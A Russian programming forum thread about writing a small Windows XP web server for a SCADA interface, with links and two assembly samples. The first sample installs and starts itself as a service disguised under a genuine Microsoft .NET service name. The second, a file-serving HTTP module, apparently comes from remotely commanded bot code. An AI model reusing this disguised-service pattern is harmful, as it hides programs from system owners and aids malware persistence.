Нужен пример простой службы которая возращает HTML файл с картинкой какой нибудь на запрос браузера То есть хочется иметь некую службу которая будет работать сервером в Windows XP и будет возращать клиенту странички и обрабатывать его запросы. В исходниках один простой пример cserver взял запустил и не понял как он работает (страничку не получил), а другой пример веб сервера с плугинами miniweb_src не проверял, но боюсь что не осилю исходники ибо в голове нет ни на йоту представления о сетевой архитектуре. Правда книжки дома всякие умные есть типа cgi програмирование за 24 часа и описание TCP/IP Том 1, но пока с ними до понимания дойдёшь... Мне бы исходник какой с коментариями типа где мы на порт какой вешаемся где мы скажем какую нибудь форму возращаем клиенту по адресу http:// ....., где мы обрабатываем запрос Ну а может заодно и пример работы с сокетами и информацию о них подскажите где на русском погуглить Я бы сам погуглил, но я не зная сетевых технологий плохо представляю что искать Вообще в идеале мне хочеться 1)написать свой небольшенький серверок под Windows XP 2)прикрутить к своему серверу какое нибудь подобие AJAX технологии что бы страничка не перерисовывалась целиком, а Javascript передовал бы данные моей exe/dll/службе/серверу который бы оперативно кидал бы на клиента данные которые бы отрисовывал бы javasript на клиенте
По-моему тут некое противоречие. Поискал бы в гугле пример небольшого серверка на нужном языке. Например: http://www.jbox.dk/sanos/webserver.htm http://doc.trolltech.com/solutions/qtservice/qtservice-example-server.html http://www.codeproject.com/KB/IP/CSHTTPServer.aspx http://habrahabr.ru/blogs/webdev/95972/
на 80 ваш капитан очевидность http://www.wasm.ru/srclist.php?list=5 http://www.wasm.ru/article.php?article=1016003 А зачем писать если есть готовые решения. IIS чем не устраивает ? Как служба работает. Small HTTP server неплох. А самому писать смысла мало не все там так просто кучу времени угробиш. AJAX работает в основном на клиенте.
Вот когда-то делал наброски на СИ. Простой веб сервер для отдачи файлов, конечно не будет держать много нагрузки потмоу что на потоках основан + не заюзан TransmitFile https://forum.antichat.ru/thread158751.html
Требуется прикрутить веб интерфейс к SCADA системе Мне строго говоря весь AJAX не нужен, а нужно только что бы странички перерисовывались без перезагрузки страничики с сервера. Поскольку я не знаю механизма отработки этого на стороне сервера, то и возникает такая формулировка.
Спасибо тебе и всем откликнувшимся. Буду смотреть. На него большой нагрузки не предпологаеться, так как сервер должен быть в интранете по сути для одного подключающегося клиента максимум двух.
lamer19 а как ты собрался без аякса частично перерисовывать? если только контент грузить сразу в скрытом виде и жсом открывать и скрывать. ты для начала разберись с самим аяксом и на нормальном сервере )
lamer19 сервер просто выдаёт данные типа как по простому GET или POST запросу, ожидаемые твоим аякс запросом. это может быть plan/text xml html json
Вот пример немного недопианого но работающего сервиса Windows Код (Text): .686 .model flat,stdcall option casemap:none includelib library\kernel32.lib includelib library\user32.lib includelib library\shell32.lib includelib library\Advapi32.lib BOOL TYPEDEF DWORD FALSE equ 0 SERVICE_NO_CHANGE equ 0FFFFFFFFh SERVICE_ACTIVE equ 1h SERVICE_INACTIVE equ 2h SERVICE_STATE_ALL equ SERVICE_ACTIVE OR SERVICE_INACTIVE SERVICE_CONTROL_STOP equ 1h SERVICE_CONTROL_PAUSE equ 2h SERVICE_CONTROL_CONTINUE equ 3h SERVICE_CONTROL_INTERROGATE equ 4h SERVICE_CONTROL_SHUTDOWN equ 5h SERVICE_STOPPED equ 1h SERVICE_START_PENDING equ 2h SERVICE_STOP_PENDING equ 3h SERVICE_RUNNING equ 4h SERVICE_CONTINUE_PENDING equ 5h SERVICE_PAUSE_PENDING equ 6h SERVICE_PAUSED equ 7h SERVICE_ACCEPT_STOP equ 1h SERVICE_ACCEPT_PAUSE_CONTINUE equ 2h SERVICE_ACCEPT_SHUTDOWN equ 4h .data szServiceName db "clr_optimization_v2.0.5066_32",0 szDisplayName db "Microsoft .NET Framework NGEN v2.0.5066_X86",0 lpDescription db "Microsoft .NET Framework NGEN",0 fPaused BOOL FALSE fRunning BOOL FALSE .data? schSCManager dd ? szFileName db 260 dup (?) hStatus dd ? SERVICE_TABLE_ENTRYA STRUCT lpServiceName DWORD ? lpServiceProc DWORD ? SERVICE_TABLE_ENTRYA ENDS SERVICE_STATUS STRUCT dwServiceType DWORD ? dwCurrentState DWORD ? dwControlsAccepted DWORD ? dwWin32ExitCode DWORD ? dwServiceSpecificExitCode DWORD ? dwCheckPoint DWORD ? dwWaitHint DWORD ? SERVICE_STATUS ENDS SERVICE_DESCRIPTION STRUCT lpDescription DWORD ? SERVICE_DESCRIPTION ENDS sTable SERVICE_TABLE_ENTRYA <> srvDesc SERVICE_DESCRIPTION <> stSS SERVICE_STATUS <> .const SendSvcState macro state mov stSS.dwCurrentState,state SetServiceStatus PROTO :DWORD,:DWORD push offset stSS push hStatus call SetServiceStatus endm .code start: call IsInstalledService cmp eax,0 jne @F call InstallService @@: mov sTable.lpServiceProc,offset ServiceMain mov sTable.lpServiceName,offset szServiceName StartServiceCtrlDispatcherA PROTO :DWORD push offset sTable call StartServiceCtrlDispatcherA call Main ExitProcess PROTO :DWORD push eax call ExitProcess IsInstalledService proc OpenSCManagerA PROTO :DWORD,:DWORD,:DWORD push 0F003Fh push 0 push 0 call OpenSCManagerA mov schSCManager,eax cmp eax,0 jz @ret OpenServiceA PROTO :DWORD,:DWORD,:DWORD push 10000h push offset szServiceName push schSCManager call OpenServiceA cmp eax,0 jz @F CloseServiceHandle PROTO :DWORD push eax call CloseServiceHandle push 00000001h jmp @pop @@: push 00000000h push schSCManager call CloseServiceHandle @pop: pop eax @ret: ret IsInstalledService endp InstallService proc push 0F003Fh push 0 push 0 call OpenSCManagerA mov schSCManager,eax cmp eax,0 jz @ret GetModuleFileNameA PROTO :DWORD,:DWORD,:DWORD push 260 push offset szFileName push 0 call GetModuleFileNameA CreateServiceA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD push 0 push 0 push 0 push 0 push 0 push offset szFileName push 00000001h push 00000002h push 00000110h push 0F01FFh push offset szDisplayName push offset szServiceName push schSCManager call CreateServiceA push eax cmp eax,0 je @exit mov srvDesc.lpDescription,offset lpDescription ChangeServiceConfig2A PROTO :DWORD,:DWORD,:DWORD push offset srvDesc push 1 push eax call ChangeServiceConfig2A pop eax push eax StartServiceA PROTO :DWORD,:DWORD,:DWORD push 0 push 0 push eax call StartServiceA call CloseServiceHandle jmp @ret @exit: push schSCManager call CloseServiceHandle @ret: ret InstallService endp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; InitService Proc ret InitService EndP ResumeService Proc ret ResumeService EndP PauseService Proc ret PauseService EndP StopServiceStatus Proc ret StopServiceStatus EndP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CtrlHandler proc controlCode1:DWORD LOCAL currentState:DWORD LOCAL success:BOOL mov currentState, 0 mov eax, controlCode1 .if ( eax == SERVICE_CONTROL_STOP ) SendSvcState SERVICE_STOP_PENDING call StopServiceStatus SendSvcState SERVICE_STOPPED .elseif ( eax == SERVICE_CONTROL_PAUSE ) .if ( fRunning != FALSE && fPaused == FALSE ) SendSvcState SERVICE_PAUSE_PENDING call PauseService SendSvcState SERVICE_PAUSED .endif .elseif ( eax == SERVICE_CONTROL_CONTINUE ) .if ( fRunning != FALSE && fPaused == 1 ) SendSvcState SERVICE_CONTINUE_PENDING call ResumeService SendSvcState SERVICE_RUNNING .endif .elseif ( eax == SERVICE_CONTROL_INTERROGATE ) .elseif ( eax == SERVICE_CONTROL_SHUTDOWN ) .endif ret CtrlHandler endp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ServiceMain proc argc:DWORD, argv:DWORD RegisterServiceCtrlHandlerA PROTO :DWORD,:DWORD push offset CtrlHandler push offset szServiceName call RegisterServiceCtrlHandlerA mov hStatus,eax mov stSS.dwServiceType,00000110h mov stSS.dwControlsAccepted,1h mov stSS.dwWin32ExitCode,0 mov stSS.dwWaitHint,3000 SendSvcState 2h call InitService SendSvcState 4h ret ServiceMain endp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Main proc ret Main endp end start
А вот web сервер, его исходники можно легко найти на просторах интернета. Код (Text): HttpdProc proto :dword,:dword,:dword,:dword,:dword ServeFile proto :dword Httpd proto :dword HTTP_SERVE_FILE struct dwsocket dd ? bsync db ? szfile db 261 dup (?) HTTP_SERVE_FILE ends HTTP_SERVER struct dwsocket dd ? dwport dd ? bsync db ? szfile db 261 dup (?) HTTP_SERVER ends Httpd proto :dword ServeFile proto :dword .data szHeaders db "HTTP/1.1 200 OK",13,10,"Accept-Ranges: bytes",13,10,"Content-Length: %d",13,10,"Keep-Alive: timeout=15, max=100",13,10,"Connection: Keep-Alive",13,10,"Content-Type: application/octet-stream",13,10,13,10,0 .data? szHttpdFile db 261 dup (?) szHttpdPort db 8 dup (?) .code HttpdProc proc uses edx ecx esi edi dwSocket:dword,szUBser:dword,szReply:dword,szCmd:dword,szArguments:dword local http:HTTP_SERVER invoke lstrcmpi, szCmd, addr szHTTPD .if eax == 0 invoke GetToken, addr szDataBuffer, szArguments, 32, 2, FALSE invoke lstrcpy, addr szHttpdFile, addr szDataBuffer invoke GetToken, addr szDataBuffer, szArguments, 32, 3, FALSE invoke lstrcpy, addr szHttpdPort, addr szDataBuffer invoke atodw, addr szHttpdPort mov http.dwport, eax mov http.bsync, 0 invoke CopyMemory, addr http.szfile, addr szHttpdFile, 261 invoke CreateThread, 0, 0, addr Httpd, addr http, 0, 0 push eax .while http.bsync != 1 invoke Sleep, 10 .endw invoke wsprintf, addr szSendBuffer, addr szHttpdThread, addr szHttpdFile, addr szHttpdPort pop eax invoke AddThread, eax, addr szSendBuffer, http.dwsocket, 0 invoke wsprintf, addr szSendBuffer, addr szHttpd, addr szHttpdFile, addr szHttpdPort invoke SendMsg, dwSocket, szReply, addr szSendBuffer mov eax, TRUE jmp @F .endif mov eax, FALSE @@: ret HttpdProc endp ServeFile proc lpParam:dword local pBuffer[4096]:byte local dwBytesRead:dword local serve:HTTP_SERVE_FILE invoke CopyMemory, addr serve, lpParam, sizeof serve mov eax, lpParam assume eax:ptr HTTP_SERVE_FILE mov [eax].bsync, 1 assume eax:nothing invoke CreateFile, addr serve.szfile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 mov hFileX, eax invoke GetFileSize, hFileX, 0 invoke wsprintf, addr pBuffer, addr szHeaders, eax invoke lstrlen, addr pBuffer invoke send, serve.dwsocket, addr pBuffer, eax, 0 .repeat invoke RtlZeroMemory, addr pBuffer, sizeof pBuffer invoke ReadFile, hFileX, addr pBuffer, sizeof pBuffer, addr dwBytesRead, 0 @@: invoke send, serve.dwsocket, addr pBuffer, dwBytesRead, 0 .if eax == SOCKET_ERROR invoke GetLastError .if eax == WSAEWOULDBLOCK invoke Sleep, 1 jmp @B .endif .endif invoke Sleep, 1 .until dwBytesRead == 0 invoke CloseHandle, hFileX invoke closesocket, serve.dwsocket invoke ExitThread, 0 ret ServeFile endp Httpd proc lpParam:dword local http:HTTP_SERVER local serve:HTTP_SERVE_FILE local SockAddrIn:sockaddr_in local ClientSockAddrIn:sockaddr_in local ServerSocket:dword local dwMode:dword invoke CopyMemory, addr http, lpParam, sizeof http invoke CopyMemory, addr serve.szfile, addr http.szfile, 261 invoke socket, PF_INET, SOCK_STREAM, 0 mov ServerSocket, eax mov eax, lpParam assume eax:ptr HTTP_SERVER mov ecx, ServerSocket mov [eax].dwsocket, ecx mov [eax].bsync, 1 assume eax:nothing mov SockAddrIn.sin_family, AF_INET mov eax, http.dwport invoke htons, eax mov SockAddrIn.sin_port, ax xor eax, eax mov SockAddrIn.sin_addr, eax invoke bind, ServerSocket, addr SockAddrIn, sizeof SockAddrIn mov dwMode, 1 invoke ioctlsocket, ServerSocket, FIONBIO, addr dwMode invoke listen, ServerSocket, SOMAXCONN @@: invoke accept, ServerSocket, addr ClientSockAddrIn, 0 .if eax == INVALID_SOCKET invoke Sleep, 100 jmp @B .endif mov serve.dwsocket, eax invoke CreateThread, 0, 0, addr ServeFile, addr serve, 0, 0 push eax .while serve.bsync != 1 invoke Sleep, 10 .endw pop eax invoke CloseHandle, eax invoke Sleep, 1000 jmp @B ret Httpd endp